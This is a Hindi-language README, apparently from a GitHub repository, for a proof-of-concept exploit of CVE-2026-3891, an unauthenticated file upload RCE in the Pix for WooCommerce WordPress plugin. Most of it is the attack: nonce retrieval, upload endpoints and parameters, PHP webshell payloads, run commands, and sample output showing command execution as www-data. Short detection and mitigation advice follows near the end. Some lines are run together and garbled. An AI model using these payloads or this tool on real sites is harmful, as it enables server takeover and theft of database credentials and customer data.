
CVE-2026-3891 के लिए PoC – Pix for WooCommerce ≤ 1.5.0 में बिना प्रमाणीकरण के फ़ाइल अपलोड RCE। स्वचालित nonce पुनर्प्राप्ति, PHP अपलोड, और कमांड निष्पादन।
CVE-2026-3891 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट – Pix for WooCommerce WordPress प्लगइन (≤ 1.5.0) में अप्रमाणित मनमाना फ़ाइल अपलोड जो रिमोट कोड निष्पादन की ओर ले जाता है।
CVE-2026-3891 Pix for WooCommerce प्लगइन में एक गंभीर भेद्यता है, जो 1.5.0 तक के सभी संस्करणों को प्रभावित करती है। प्लगइन अपने AJAX हैंडलर में उचित प्राधिकरण और फ़ाइल-प्रकार की जाँच लागू करने में विफल रहता है। एक अप्रमाणित हमलावर इस दोष का दुरुपयोग करके सार्वजनिक रूप से सुलभ निर्देशिका में मनमानी PHP फ़ाइलें अपलोड कर सकता है और अंतर्निहित WordPress सर्वर पर रिमोट कोड निष्पादन प्राप्त कर सकता है।
lkn_pix_for_woocommerce_c6_save_settingsइस रिपॉजिटरी में एक प्रोडक्शन-ग्रेड PoC है जो पूरी हमला श्रृंखला को स्वचालित करता है – एक वैध नॉन्स प्राप्त करने से लेकर वेबशेल अपलोड करने तक – मजबूत त्रुटि प्रबंधन और एक सुंदर CLI इंटरफ़ेस के साथ।
certificate_crt_path फ़ाइल पैरामीटर को सही ढंग से तैयार करता है।--check)।[ * ], [ + ], [ - ], [ ! ] से उपसर्गित हैं।मूल कारण प्लगइन द्वारा पंजीकृत दो AJAX एक्शन में निहित है:
lkn_pix_for_woocommerce_generate_nonceadd_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
यह एक्शन wp_ajax_nopriv_* से हुक किया गया है, जो इसे अप्रमाणित आगंतुकों के लिए सुलभ बनाता है। यह lkn_pix_for_woocommerce_c6_settings_nonce एक्शन के लिए एक नॉन्स उत्पन्न करता है और उसे JSON एनवलप में लौटाता है:
{"success":true,"data":{"nonce":"abc123..."}}
कोई क्षमता जाँच या उपयोगकर्ता प्रमाणीकरण नहीं किया जाता – कोई भी व्यक्ति एक वैध नॉन्स का अनुरोध कर सकता है।
lkn_pix_for_woocommerce_c6_save_settingsadd_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);
यह हैंडलर प्लगइन सेटिंग्स सहेजता है, जिसमें certificate_crt_path नामक एक फ़ाइल अपलोड फ़ील्ड शामिल है। यद्यपि अपलोड WordPress के media_handle_upload हेल्पर के माध्यम से होता है, प्लगइन निम्नलिखित नहीं करता:
current_user_can अनुपस्थित)।.php फ़ाइलों की अनुमति देना)।wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
चूँकि नॉन्स केवल CSRF से सुरक्षा करता है, और इसे कोई भी प्राप्त कर सकता है, एक हमलावर मनमानी PHP कोड अपलोड और निष्पादित करने के लिए इन दो एक्शन को जोड़ सकता है।
www-data या apache)।wp-config.php, डेटाबेस क्रेडेंशियल, ग्राहक डेटा पढ़ना।requests लाइब्रेरी के साथ Python 3.8+ (pip install requests के माध्यम से स्थापित करें)।git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt # requests
python CVE-2026-3891.py http://target.com/wordpress
अधिक नियंत्रण के लिए, कमांड-लाइन विकल्पों का उपयोग करें:
python CVE-2026-3891.py https://example.com \
-f shell.php \
-p '<?php system($_GET["c"]); ?>' \
--check \
--timeout 20
___ _ _ ____ ___ ___ ___ _ ___ ___ ___ __
/ __)( \/ )( ___)___(__ \ / _ \(__ \ / ) ___(__ )( _ )/ _ \/ )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_ / )(
\___) \/ (____) (____)\___/(____)\___/ (___/\___/ (_/ (__)
[CVE-2026-3891]
Pix for WooCommerce Unauthenticated File Upload
Owner: Ch4120N
[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php
# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| फ़्लैग | विवरण | डिफ़ॉल्ट |
|---|---|---|
target (स्थितीय) | WordPress साइट का आधार URL। | आवश्यक |
-f, --filename | अपलोड की गई PHP फ़ाइल का नाम। | woocommerce.php |
-p, --payload | अपलोड करने के लिए PHP कोड। | <?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?> |
-t, --timeout | अनुरोध टाइमआउट सेकंड में। | 15 |
-r, --retries | नॉन्स प्राप्ति के लिए अधिकतम पुनः प्रयास। | 2 |
--no-banner | ASCII कला छिपाएँ। | (बंद) |
--no-verify | अपलोड के बाद पहुँच जाँच छोड़ें। | (बंद) |
--check | अपलोड के बाद वेबशेल पर id निष्पादित करें। | (बंद) |
http://target/wp-admin/admin-ajax.phplkn_pix_for_woocommerce_generate_nonceaction_name=lkn_pix_for_woocommerce_c6_settings_nonce{"success":true,"data":{"nonce":"..."}}wp_ajax_nopriv_* के साथ पंजीकृत है। कोई कुकी या सत्र आवश्यक नहीं है।admin-ajax.phplkn_pix_for_woocommerce_c6_save_settings_ajax_nonce – पहले प्राप्त किया गया नॉन्सcertificate_crt_path – एक मल्टीपार्ट फ़ाइल अपलोड (पेलोड).php फ़ाइलें बिना नाम बदले स्वीकार और संग्रहीत की जाती हैं।सफल अपलोड के बाद, फ़ाइल यहाँ स्थित होती है:
/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/<filename>
यह निर्देशिका सीधे वेब-सुलभ है; यदि वेब सर्वर PHP फ़ाइलों को प्रोसेस करने के लिए कॉन्फ़िगर है तो उन्हें निष्पादित किया जाएगा (जो WordPress-प्रबंधित सर्वरों के लिए डिफ़ॉल्ट है)।
certs_c6 निर्देशिका में अप्रत्याशित PHP फ़ाइलों का दिखना (विशेष रूप से woocommerce.php, shell.php आदि जैसी फ़ाइलें)।admin-ajax.php POST अनुरोध।?cmd=id जैसे क्वेरी पैरामीटर के साथ .../certs_c6/ पर सीधे हिट दिखाते हैं।अपने WordPress लॉग में निम्नलिखित की निगरानी करें:
action=lkn_pix_for_woocommerce_generate_nonce और action=lkn_pix_for_woocommerce_c6_save_settings के साथ /wp-admin/admin-ajax.php पर बार-बार POST अनुरोध।certs_c6 फ़ोल्डर में नई फ़ाइलों का निर्माण। परिवर्तनों पर अलर्ट के लिए फ़ाइल अखंडता निगरानी उपकरण (जैसे, Tripwire, OSSEC) का उपयोग करें।certs_c6 निर्देशिका के अंदर PHP निष्पादन से इनकार करने के लिए कॉन्फ़िगर करें (जैसे, php_flag engine off के साथ .htaccess का उपयोग करके)।current_user_can('manage_options'), और अपलोड के लिए उचित नॉन्स सत्यापन के साथ क्षमता जाँच)।यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है – विवरण के लिए LICENSE फ़ाइल देखें।
अस्वीकरण: यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उपयोग के लिए है। इस सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए लेखक जिम्मेदार नहीं है।
यदि आपको यह PoC उपयोगी लगे, तो GitHub पर इसे ⭐ देने और जिम्मेदारी से साझा करने पर विचार करें। योगदान, मुद्दे और पुल रिक्वेस्ट का स्वागत है!
हैप्पी हैकिंग! 🛡️